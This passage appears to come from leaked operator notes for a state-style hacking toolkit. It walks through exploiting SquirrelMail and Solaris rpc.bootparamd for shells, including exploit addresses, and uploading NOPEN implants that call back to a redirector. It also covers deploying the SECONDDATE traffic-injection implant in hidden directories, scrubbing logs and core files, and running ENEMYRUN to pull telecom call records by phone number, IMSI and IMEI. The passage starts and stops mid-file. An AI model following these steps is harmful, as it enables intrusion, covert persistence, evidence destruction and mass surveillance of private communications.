http://host.com/squirrelMail/ + get from http banner eg. /webapps/sq147 + +## test for exploit vulnerability +## local scripted window +./elideskew.pl -u http://127.0.0.1/webapps/sq147 -ch + +### will report YES ( with OS) or NO +### sample good output +###Checking... + +###Linux webapps.jetson.net 2.6.9-42.ELsmp #1 SMP Sat Aug 12 09:39:11 CDT 2006 +i686 i686 i386 GNU/Linux + +###YES! + +### If vulnerable; proceed; run commands on target to find dir read/writeable by apache + +./elideskew.pl -u http://127.0.0.1/webapps/sq147 -c 'uname -a; w; pwd; ls -al +../data' + + +### note pwd result; /var/www/html/webapps/sq147/src (default dir) is not writeable/executable by apache but ../data is.... + +### Ready to upload and execute NOPEN + +### on REDIRECTOR_IP +-nrtun RANDOM_PORT + + +### local scripted window [[ note: the backticks "`" may or may not be necessary ]] +./elideskew.pl -u http://127.0.0.1/webapps/sq147 -l /current/up/morerats/noserver-3.0.3.6-i686.pc.linux.gnuoldld.redhat-6.0 -r /var/www/html/webapps/sq147/data/nos -c '`D=-cREDIRECTOR_IP:RANDOM_PORT /var/www/html/webapps/sq147/data/nos`' + +### if all goes well you will be apache on target (note: some apache configurations run + as nobody) + +need to elevate; choose appropriate tool + +### cleaning logs + +Logging varies by platform: + +on CentOS - /var/log/httpd/error_log ; CentOS runs SELinux so it also logs when nopen + tries to call back in /var/log/messages. CentOS will not allow nopen to bind + to a port as a server so must use callback mode for nopen + +on FreeBSD - [APACHE_PREFIX]/logs/error_log + +### +### END File user.tool.elideskew.COMMON +### (see also ../etc/user.tool.elideskew.COMMON) + +### +### BEGIN File user.tool.poptop.COMMON (see also ../etc/user.tool.poptop.COMMON) +### + +### EncTelnet/Poptop +### To use Nopen over an existing connection (i.e. telnet) + +### Window 1: Nopen Window - Setup tunnel to dude telnetting to +-tunnel +l 2323 DUDE 23 + +### Window 2: Local scripted window - Use spawn to be your telnet client +### The window will look kinda funny with debug telnet negotiation stuff +### going by, and you'll see the typed password in the clear...get over it +spawn.v3 127.0.0.1 2323 telnet + + +### Window 3: Local window: prep poptop/noserver +cp TARGNOSERVER /current/up/nscd +cp TARGPOPTOP /current/up/crond +compress nscd crond +uuencode nscd.Z nscd.Z > nscd.uu +uuencode crond.Z crond.Z > crond.uu + +### Window 2: Accept files for upload +uudecode +--p /current/up/nscd.uu +uudecode +--p /current/up/crond.uu +uncompress nscd.Z crond.Z + +### Window 2: Run Nopen and poptop +chmod 700 nscd crond +PATH=. D=-lPORT nscd +PATH=. crond + +### 1st prompt for "arg" is port +PORT + +### 2nd prompt for "arg" is file descriptor, use 0 for stdin +0 + +### Should now get a line saying "tty is setup" + +### Window 4: Local scripted window: setup for Nopen connect +noclient -l 8080 + +### Window 2: type "---" and hit enter, should +### have a connection in your noclient window then +--- + +### Window 4: To get multiple windows on target, will need use this window +### as a -tunnel window, and tunnel to yourself over loopback +### And oh yeah, remove the binaries +-rm crond nscd +-tunnel +l PORT 127.0.0.1 + +### In other scripted windows +noclient 127.0.0.1:PORT + +### Do whatever you need to do... + +### When all done... +-burnBURN + +### Window 2: this window will now probably go nuts, ^C will +### take you back to your op box shell prompt, and officially +### close your telnet connection (see connection close in your +### Window 1 -tunnel window). +### Note that there will be another log entry put into +### wtmp that cannot be toasted away, should not be seen by admins though... + +EOF +### +### END File user.tool.poptop.COMMON +### (see also ../etc/user.tool.poptop.COMMON) + +### +### BEGIN File user.tool.seconddate.COMMON (see also ../etc/user.tool.seconddate.COMMON) +### + +# SECONDDATE + +:syntax on + +######### +# SET UP +######### + +# get tasking directories and put them on media +# check op plan for correct tasking date +/projects/web_proxy_tasking/to_lowside/YYYYMMDD/YYYYMMDD.HH.MM.SS-IP_ADDRESS + +# copy and extract binaries to /current/bin +mz +cp /mnt/zip/seconddate_tools.tar /current/bin +cd /current/bin +tar xvf /seconddate_binaries.tar + +# copy tasking directories to /current/bin/sd and extract +cp -r /mnt/zip/TASKING /current/bin/sd +cd /current/bin/sd + + +# copy the SECONDDATE command and control binary to each tasking directory +# the rules are set by relative path; +# the command and control binary needs to be in the same path as the inject and regex files +# tasking directory name format: YYYYMMDD.HH.MM.SS-IP_ADDRESS +# inject tag name format: YYYYMMDDHHMMSS-IP_ADDRESS-inject-.bin +# regex file name format: YYYYMMDDHHMMSS-IP_ADDRESS-regex-.bin + +cp /current/bin/sd/1.1.1.1/Binaries/Seconddate_CnC /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS + + +################# +# PREP COMMANDS +################# + +# all commands to run at local Seconddate_CnC prompt are in commands.txt +# you should have already copied it here: +# /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS/commands.txt +cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS + +egrep "disable" commands.txt > disable.txt +egrep "rule" commands.txt | egrep -v "showrule --all" > rules.txt +egrep "enable" commands.txt > enable.txt + +# open command files in gedit text editor; xemacs works too; vi doesn't work +gedit disable.txt & +# open the other files rules.txt and enable.txt + + +#################### +# CONNECT TO IMPLANT +################### + +# local_port - listen on this port locally; i.e. the ops box; pick a random port +# target_ip - ip of target that is running SECONDDATE to which you want to connect +# target_port - port to which you'll connect to target; can be the same as local_port + +mx +:%s/LOCAL_UDP_PORT/LOCAL_UDP_PORT/g +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_UDP_PORT/TARGET_UDP_PORT/g +`x + +# set up UDP tunnel from redirector; won't work locally on target box +# u +-tunnel +u LOCAL_UDP_PORT TARGET_IP TARGET_UDP_PORT + +# in locally scripted window +# run CnC +# ./Seconddate_CnC 127.0.0.1 +cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS +./Seconddate_CnC 127.0.0.1 LOCAL_UDP_PORT + +# run command +ping +# should recieve an 'OK' + +# if you can't get an OK, the target may have rebooted; tool only runs in memory +# connect to the target via -irtun and check to see if SECONDDATE is running +# if it's not running you need to deploy +ps -ef | grep IMPLANT_FILENAME + +cd /dev; ps -ef | grep IMPLANT_FILENAME + + +############## +# RUN COMMANDS +############# + +# help menu +? + #or +help + +# do these first +ping +# synopsis of rules and injects +getinfo +# check rule log +getlog + +# show all rules +showrule --all + +# have gedit window with rules commands available +# if you still have gedit open with the commands files, go to the disable commands section below +# if you closed it after setup, reopen the commands files with gedit +# command files you previously set up are here including the commands.txt file: +# /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS +# open command files in gedit text editor; xemacs works too; vi doesn't work +cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS +gedit disable.txt & +# open the other files rules.txt and enable.txt from within gedit + +# run disable commands only for enabled rules you know are going to change +# otherwise, disable all of the rules +# disable commands are in the file disable.txt + +# clear log only if instructed to do so +# will fail if any rules are enabled +clearlog + +# set rules; make sure the rules in rules.txt match what is on target +# rule commands are in the file rules.txt + +# enable rules; watch for "Enabled: yes" in each rule displayed +# enable commands are in the file enable.txt + +# show all rules +showrule --all + +# check for empty rule enabled: +getinfo + +# if the matches/hits/injects are increasing rapidly, then you probably enabled an empty rule +# find the emtpy rule that's enabled +getlog + +# look for the rule that has the most hits +# disable it and display it with showrule + +# done +exit + +# copy script files +# when finished with locally scripted window, type exit, or type CTL-D only once +# this reveals the name of the script file +cp script. script..seconddate.log +# you can remove the original script if you like + + + +######### +# DEPLOY +######### + +# if the target box rebooted, you'll have to deploy the tool +# connect via -irtun + +# hidden_dir - hidden directoy on the target +# INCISION targets will have a manually created hidden directory +# STOICSURGEON targets can run SECONDDATE from the STOICSURGEON directory +# sd_binary _path - where the SECONDATE binaries are lcoated on the ops box: +# /current/bin/sd/1.1.1.1/Binaries +# implant_filename - what you want to call the SECONDDATE binary on target + +mx +:%s:HIDDEN_DIR:HIDDEN_DIR:g +:%s/SD_BINARY_PATH/SD_BINARY_PATH/g +:%s/IMPLANT_FILENAME/IMPLANT_FILENAME/g +`x + +# INCISION targets; skip if STOICSURGEON +# create hidden directory on linux target if you don't have one already +# mkdir -p /tmp/.; __HMODE__=enable touch /tmp/. +# try to use a drectory name that blends in on teh target +# example: +# mkdir -p /tmp/.orbit561; __HMODE__=enable touch /tmp/.orbit561 +mkdir -p HIDDEN_DIR; __HMODE__=enable touch HIDDEN_DIR + +# make sure the directory was created +-ls HIDDEN_DIR + +# make sure the directory is hidden +# you should not see the hidden directory +cd /dev; ls -al HIDDEN_DIR + +# cd to hidden directory +# STOICSURGEON targets can run SECONDDATE from the STOICSURGEON directory +# INCISION targets run from hidden directory +# -cd /tmp/.orbit561 +-cd HIDDEN_DIR + +# put up tool +# -put +# example +# -put /current/bin/sd/1.1.1.1/Binaries/Seconddate_Implant crond +-put SD_BINARY_PATH IMPLANT_FILENAME + + +################## +# START SECONDDATE +################## + +# look for setsid +which setsid +# or +locate setsid + +# run: +setsid /bin/bash -c 'PATH="." crond' > /dev/null 2>&1 & + +# or, if there's no setsid +# -shell +# PATH=. crond +-shell +PATH=. IMPLANT_FILENAME +# Ctrl-D to get out of shell and get your NOPEN prompt +# be careful + +# if there's no setsid, get noserver pid (parent of nopen pid) +# you'll have to kill the root noserver later when getting off target +# i.e. the parent pid of the nopen window you're in +-pid + +# INCISION targets make sure it's hidden +# annotate pid of running implant in your opnotes +# cd /dev; ps -ef | grep crond +cd /dev; ps -ef | grep IMPLANT_FILENAME + +# remove implant +# -rm crond +-rm IMPLANT_FILENAME + +# in locally scripted window +# run CnC +./Seconddate_CnC 127.0.0.1 LOCAL_UDP_PORT + +# help menu +help + +# ping +ping + + +############### +# LEAVE RUNNING +############### +# may want to leave implant running and come back later +# if implant is left running exit from the CnC tool +exit + +# check lastlog for reboot frequecy +last -100 | egrep "hutdow|eboo" + +# INCISION targets make sure the running implant is hidden +# cd /dev; ps -ef grep +cd /dev; ps -ef grep IMPLANT_FILENAME + + +########### +# UNINSTALL +########### +# to stop running implant in preparation for leaving target box +# in local CnC window that's scripted, uninstall the implant +uninstall + +# in NOPEN window +# check process list; make it's not hung; if hung, kill it +kill -9 + + +########## +# FINISHED +########## +# getting ready to get off the target +# to burn or not to burn? +# read all lof the following before getting off target +# if you're not leaving the implant running after getting off the target: +# - make sure you uninstall the implant as stated above +# - ensure it not hung; if so, kill it +# - then burn +# +# if you're on target under a noserver that did not spawn the implant +# process you may burn, i.e. the implant process is not the child +# of the noserver process +# +# if you ran the implant using 'setsid', you may also burn: +-burn + +# if you ran the implant under your present noserver and wish to leave it +# running, you need to make sure the implant continues when done with target +# if there was no 'setsid' on the target box when you ran the implant: +# - kill the noserver that is listening under which you started the implant +# if you burn in this case the implant process will be killed +kill -9 + +# - use "-exit" to get out of all nopen windows +-exit + +# check your connection to the implant from the redirector next to the +# target running the implant +# run a few commands +ping +getinfo + +# if connection is OK then you're done +ping +# should recieve an 'OK' + +# if you can't connect to the implant +# get back up on target and check to see if implant is still running +# if the implant is not running you may have missed something when running +# the implant or disconnecting +# put it back up and run it again +# if you can't connect and the implant is running try troubleshooting +# the ports you're using + +# copy script files +# when finished with locally scripted window, CTL-D only once +# this reveals the name of the script file +cp script. script..seconddate.log +# you can remove the original script if you like + + + + +#/////////////////////////////// +# TASKING BY HAND - THE OLD WAY +#////////////////////////////// + +############# +# INJECT FILE +############# +# configure inject file +# you will need to have a file containing the data for the inject packet +# first the http info: +# then the tag followed by 2 carriage retruns +# example + +HTTP/1.1 200 OK +Pragma: no-cache +Content-Type: text/html +Cache-Control: no-cache,no-store + + + + + +##################### +# REGULAR EXPRESSIONS +##################### +# regular expression file +# needed to pass to implant as argument when using regex in a rule +# can't have any carriage returns or newlines in the file +# it must only contain the characters relative to the regex +# use vi or echo: +vi -b -c "set noeol" +# or +echo -n > + +####### +# RULES +####### +# set rule +# rule 1 --srcaddr --srcmask 255.255.255.0 --dstport 80 --maxinjections 10 --injectwindow 600 --nocheckregex --injectfile pkt +# examples: +rule 1 --dstport 80 --maxinjections 2 --injectwindow 600 --regexfile --injectfile pkt +rule 2 --dstport 80 --maxinjections 2 --injectwindow 600 --regexfile --injectfile pkt + +# showrule +showrule 1 +# to show all rules you'll have to wait a bit +# the tool will iterate through all 64 whether emtpy or not + +# enable rule(s) +# you have to enable them individually +enable rule 1 + +# check for hits +getinfo + +# check log +getlog + +# when done disable rules +disable 1 + +# get last dump of log +getlog + +# clear log +clearlog + + +### +### END File user.tool.seconddate.COMMON +### (see also ../etc/user.tool.seconddate.COMMON) + +### +### BEGIN File user.tool.ebbisland.COMMON (see also ../etc/user.tool.ebbisland.COMMON) +### + +EBBISLAND +(Exploit for Solaris 2.6, 2.7, 2.8, 2.9 and 2.10) + +First ensure that the vulnerable rpc service(bootparam) is running. You must +be able to reach the target system's TCP port that the designated target RPC +is listening upon. + +Example +$ rpcinfo -p + program vers proto port service + 100000 4 tcp 111 rpcbind + 100000 3 tcp 111 rpcbind + 100000 2 tcp 111 rpcbind + 100000 4 udp 111 rpcbind + 100000 3 udp 111 rpcbind + 100000 2 udp 111 rpcbind + 100232 10 udp 32772 sadmind + 100083 1 tcp 32771 + 100221 1 tcp 32772 + 100068 2 udp 32773 + 100068 3 udp 32773 + 100068 4 udp 32773 + 100249 1 tcp 32782 + 100026 1 udp 32800 bootparam + 100026 1 tcp 32790 bootparam +********************************************************************************************** +EBBISLAND USAGE. + +ebbisland: (-A
) Shellcode address + +ebbisland: (-C) /core file overwriter/scrambler. This option throws the attack, but uses pseudo-random binary data in place of the actual shellcode, to produce a /core file free of suspicious content. This would be used in the case where EBBISLAND failed to successfully exploit the target, and the operator wanted to try and "purify" the file left in /core before quitting. + +ebbisland: (-c ) Procedure number. Defaults to 0. + +ebbisland: (-D) For and extra dummy connection + +ebbisland: (-N) Use for non-inetd started services (i.e. rpc.bootparamd) + +ebbisland: (-M ) Choose size of data part of packet to send. Default is 1260. This could effect the landing zone size. + +ebbisland: (-P ) Optional prog to exec, re-using exploit socket. + +ebbisland: (-r ) RPC program number + +ebbisland: (-s ) + +ebbisland: (-V) Provides verbose outputs, where appropriate and desired. + +ebbisland: (-X | -F) -X For indirect/xdr_replymsg programs, and -F for others + +******************************************************************************************* +Table of Exploit addresses for rpc.bootparamd (SPARC) + +100026 rpc.bootparamd 2.6 -X -N 0x641a0 + +100026 rpc.bootparamd 2.7 -X -N (earlier) 0x65798 +100026 rpc.bootparamd 2.7 -X -N (earlier) 0x6d8d8 + +100026 rpc.bootparamd 2.8 -X -N 0x7c760 +100026 rpc.bootparamd 2.9 -X -N 0x6e908 + +100026 rpc.bootparamd 2.10 -X -N 0x68318 + +********************************************************************************************* + +Redirector: + +-tunnel +l + +Example: +l 32794 10.40.1.2 32790 + +Exploit: +./ebbisland -t -p -r -X -N -A + +Example against Solaris 2.9: +./ebbisland -t 127.0.0.1 -p 32794 -r 100026 -X -N -A 0x6e908 + +********************************************************************************** +Exploit will provide ROOT shell access. + +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +pwd +id +which uudecode uncompress +cd /tmp +mkdir .scsi +cd .scsi + +# locally +packrat RAND_PORT + # packrat command +gedit /current/up/sendmail.Z.uu + + +# Target +/usr/bin/uudecode; ls -latr +select all/copy gedit contents into Target exploit window +uncompress sendmail.Z +ls -l +chmod 700 sendmail +PATH=. sendmail + + +# from redirector +-nstun TARGET_IP (EnJOY) + + +******************************************************************************* + +CLEANING. + + * The correct EBBISLAND attack for the remote target architecture must be used, or else the attack will fail, and the chosen TCP RPC daemon +will likely (1) abort and /core dump, and (2) log heavily. If this should occur, a /core file will be left on the remote system. This /core file +will contain our attack data buffers, including "shellcode". The technique could then be reverse engineered and developed into an attack. That's +why we have the '-C' option...please rerun the attack, and generate 1 more /core file, containing our semi-innocuous pseudo-random shellcode data. + + +# Logging considerations: Quite a few log messages will be generated on the target as each subsequent attack attempt fails, most likely written to the /var/adm/messages file. These could include messages similar to... + +Sep 27 14:37:23 target inetd[146]: [ID 858011 daemon.warning] /platform/SUNW,Ultra-Enterprise-10000/lib/dr_daemon: Illegal Instruction +Sep 27 14:37:24 target dr_daemon[23501]: [ID 629332 daemon.notice] dr_daemon attempting AP interaction +Sep 27 14:37:24 target dr_daemon[23501]: [ID 264428 daemon.error] ld.so.1: dr_daemon: fatal: libap.so: open failed: No such file or directory +Sep 27 14:37:24 target dr_daemon[23501]: [ID 355200 daemon.error] dr_daemon operating in NO AP interaction mode +Sep 27 14:37:24 target dr_daemon[23501]: [ID 309875 daemon.notice] NOTICE: recovered old state file '/tmp/.dr_extra_info' +Sep 27 14:43:10 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Illegal Instruction - core dumped +Sep 27 14:43:11 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Segmentation Fault - core dumped +Sep 27 14:43:13 target last message repeated 1 time +Sep 27 14:43:14 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Illegal Instruction - core dumped +Sep 27 14:43:15 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Segmentation Fault - core dumped +Sep 27 14:43:17 target last message repeated 2 times +Sep 27 14:43:55 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Illegal Instruction - core dumped +Sep 27 14:43:56 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Bus Error - core dumped +Sep 27 14:43:57 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Segmentation Fault - core dumped + +### +### END File user.tool.ebbisland.COMMON +### (see also ../etc/user.tool.ebbisland.COMMON) + +### +### BEGIN File user.tool.enemyrun.COMMON (see also ../etc/user.tool.enemyrun.COMMON) +### + +################## +#### ENEMYRUN #### +################## + +## copy and paste this into the window if you want syntax highlighting: +## it makes scripts a bit easier to read + +:syntax on + + +############## +## ER SETUP ## +############## + +## +## only get an encryption key value, if you don't already have one, ask first +## +#md5sum /current/down/tcpdump.raw + +## +## vi Search/Replace commands: +## projectName - self explanatory, all CAPS +## date field - today's date, used for output files +## hostname.ip - hostname of the box and IP address exactly as displayed in nopen window title bar +## or as seen in /current/down +## cryptkey - encryption key (already have one, or use output from below md5sum command) +## + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOSTNAME.IP/HOSTNAME.IP/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + + +## +## copy the ER directory "er_PROJECTNAME" from the project's /targets//sustained directory +## to /current/down and make sure there are no tarballs in /current/down +## + +mz +cp -r /mnt/zip/er_PROJECTNAME /current/down +cd /current/down/er_PROJECTNAME +uz + +## +## save the encryption key locally in /current/down +## whether you have a new or old key: +## + +echo CRYPTKEY > /current/down/cryptkey.enemyrun.DDMonYY + +## copy key to ER directory if creating a new key + +echo CRYPTKEY > /current/down/er_PROJECTNAME/cryptkey.enemyrun.DDMonYY + + +## +## implant hidden directory for script commnads +## location is implant dependent +## INCISION: +## Solaris - /platform/SUNW,SystemEngine/kernel/drv +## Linux - (hidden independently; check old opnotes) +## STOICSURGEON: (hidden directory is displayed at beginning of FTSHELL/ish callback) +## no trailing / +## + +mx +:%s:IMPLANT_HIDDEN_DIRECTORY:IMPLANT_HIDDEN_DIRECTORY:g +'x + +## +## prepare files containing numbers to search for: +## if files containing the numbers to search available: +## + +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles +ls -altr + +## +## prep the argfiles: +## make sure the files are ASCII and contain NO EMPTY LINES!! +## make sure the last line does not contain a null character at the end +## (vi the file, add a carriage return to the last line, then delete the empty +## line and save) +## "file" results: +## this will not work: ASCII text, with CRLF line terminators +## this WILL: ASCII text +## + +cat arg* +file arg* +dos2unix arg* +file arg* + +## +## if no data media is provided: +## locally, create a file of numbers to grep for with each number on a separate line +## make sure there are NO EMPTY LINES!!!! +## Format of each type of argument: +## p123456789 - phone number +## s123456789 - IMSI +## e123456789 - IMEI +## c123/456 - Cell/LAC (no leading 0's) +## + +cd /current/down/argfiles +vim /current/down/argfiles/argfile1.txt + +## +## encrypt argfiles / target files +## + +## encrypt the ascii list...first make sure you have the encryption tool: + +which cryptTool.v1.0.Linux2.4.18-14.targetdl + + +## if cryptTool not in PATH, change your PATH or insert full path in command +## to encrypt one at a time...skip to next comment to encrypt all at once: + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +## to encrypt all at the same time: + +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + + +## +## on target look at CDR directories: +## - use the following commands to determine the location of current CDR data storage +## - once you identify the location of the data, you'll use the head/tail commands +## to determine the date ranges being saved +## - these date ranges will be used as settings in the ER configuration file(s) +## + +## +## typical file locations per host: +## + +######################### aromaseal: + + +######################### desertvista: + +-lt /var/archive/output_billing +-vget /var/archive/output_billing/MoveData.sh + + +######################### diamondaxe: + + +########################## editionhaze: +## billing02 10.100.10.140 +ls -latr /d08/saba/CDR/out/MS* | head -10 +ls -latr /d08/saba/CDR/out/MS* | tail -10 +ls -latr /d08/saba/CDR/out/MS* | wc -l + + +########################## liquidsteel: + + +########################## serenecosmos: + +ls -latr /var/opt/archive/tape/*/*_S_*.gz | head -10 +ls -latr /var/opt/archive/tape/*/*_S_*.gz | tail -10 + + +########################## sicklestar: + +## magnum: CURSEHAPPY not working on all SS .usd files :-( +## Try these first, should be all of them in one spot +ls -latr /usd_archive/mc_storage/*usd | head -10 +ls -latr /usd_archive/mc_storage/*usd | tail -10 + +## if none in previous ones... +ls -latr /sys1/var/billing/out_coll/*usd | head -10 +ls -latr /sys1/var/billing/out_coll/*usd | tail -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | head -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10 + +ls -latr /sys1/var/billing/msc_is2 | tail -20 + + +######################### qualitygel: + + +########################## wholeblue: +## tpmw01 10.3.4.55 +## tpmw02 10.3.4.56 + +## verifies isb, khi, and lhr directories: +ls -ld /tp/med/datastore/collect/siemens_msc_* +ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr +ls -ld /tp/med/archive/collect/siemens_msc_* +ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr + +## shows oldest and newest files in directories: +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10 + +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10 + +## isbapro1 10.5.7.51 +## nothing new +-lt /u01/product_evdp/evident/data_store/collect +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10 + +-lt /u03/archive/collect +## newer stuff +ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l +## old stuff: +ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10 + + +############# +## COLLECT ## +############# + +## +## cd to hidden directory where ENEMYRUN is set up +## when in the hidden directory, there could be two subdirectories; +## one for a forward instance and one backward (e.g. erf and erb) +## + +-cd IMPLANT_HIDDEN_DIRECTORY + +## +## there should be files in: +## er*/aux_*/output/final +## and possibly if parsing is occuring: +## er*/aux_*/output +## + +-ls -R er* + +-ls -R IMPLANT_HIDDEN_DIRECTORY/er* + +## +## stop current instances on ENEMYRUN +## need name of process ENEMYRUN is running as on target; should be on plan, or check old opnotes +## ER_PROCESS_NAME: name under which ENEMYRUN is running on target; try nscd which will look like ./nscd +## + +#ps -ef | grep ENEMYRUN_PROCESS_NAME +ps -ef | grep nscd + +## kill with SIGTERM; if it doesn't work use kill -9 +## ENEMYRUN_PID: process id under which ENEMYRUN is running on target + +kill -15 ENEMYRUN_PID + +## +## collect parsed CDRs and logs created from the backward directory +## files are encrypted +## + +-get IMPLANT_HIDDEN_DIRECTORY/er*/aux_*/output/final/* + +-get IMPLANT_HIDDEN_DIRECTORY/er*/logs/final/log* + +## in a local window make sure you have them all: +ls -laR /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/er* + + +## +## clean ER directories +## + +## remove parsed CDRs + +rm -fr IMPLANT_HIDDEN_DIRECTORY/er*/aux_*/output/final/* + +## remove old logs + +rm -f IMPLANT_HIDDEN_DIRECTORY/er*/logs/final/log* + +## remove the status.log file >>>ONLY<<< from the >>>BACKWARDS<<< directory + +rm -f IMPLANT_HIDDEN_DIRECTORY/erb/status.log + +-ls -R er* + +-ls -R IMPLANT_HIDDEN_DIRECTORY/er* + + +## +## edit ER configuration files +## + +## in a local window + +cd /current/down/er_PROJECTNAME + +## find ER configs + +ls -la er_conf*.txt + +## should usually not have to edit the forward config, er_conf_fwd*.txt +## edit the backwards config, er_conf_bwd*.txt + +vi er_conf_bwd.txt + +## probably have to change START_DAY and STOP_DAY +## START_DAY: YYYYMMDD # day backwards in time from which to start +## STOP_DAY: YYYYMMDD # day forwards from START_DAY: to stop +## make sure you've made date range changes, or any other changes, +## to the plaintext ER configuration files and save + + +## +## encrypt required ER files +## + +## encrypt the ER backwards configuration file + +cd /current/down/er_PROJECTNAME + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_bwd.txt -o /current/down/er_PROJECTNAME/er_conf_bwd.enc -k CRYPTKEY -b + +## encrypt the ER forwards configuration file + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_fwd.txt -o /current/down/er_PROJECTNAME/er_conf_fwd.enc -k CRYPTKEY -b + +file /current/down/er_PROJECTNAME/er_conf_*.enc + + +## --------------- ## +## BACKWARDS FILES ## +## --------------- ## + +## +## put up encrypted files +## + +## encrypted argfile(s) + +-put /current/down/argfiles/argfile1.enc IMPLANT_HIDDEN_DIRECTORY/erb/adm1 + +## copy adm1 for each aux_* directory you see +## e.g. if you see aux_1 aux_2 aux_3 then: +## cp adm1 adm2 +## cp adm1 adm3 + +## encrypted ER configuration file + +-put /current/down/er_PROJECTNAME/er_conf_bwd.enc IMPLANT_HIDDEN_DIRECTORY/erb/ecb + +## +## start ENEMYRUN +## may not work w/ PATH=. +## CRYPTKEY must be the same as in the ER configuration file +## + +-cd IMPLANT_HIDDEN_DIRECTORY/erb + +L='-I ecb -k CRYPTKEY'; export L; ./nscd + +#ps -ef | grep ENEMYRUN_PROCESS_NAME +ps -ef | grep nscd + +## record ER process pid(s) in opnotes +## DDMonYY +## backward ENEMYRUN_PROCESS_NAME +## pid: + +ps -ef | grep ENEMYRUN_PID + +## the argfile(s) should no longer be in the erb directory after ER is running +## if the parser has started, these files should grow +## logs IMPLANT_HIDDEN_DIRECTORY/erb/aux_1/output/Log.* +## hits IMPLANT_HIDDEN_DIRECTORY/erb/aux_1/output/.* + +-ls -R erb + +-ls -R IMPLANT_HIDDEN_DIRECTORY/erb + + +## -------------- ## +## FORWARDS FILES ## +## -------------- ## + +## +## put up encrypted files +## + +## encrypted argfile(s) + +-put /current/down/argfiles/argfile1.enc IMPLANT_HIDDEN_DIRECTORY/erf/adm1 + + ## or + +-put /current/down/argfiles/argfile_forward.enc 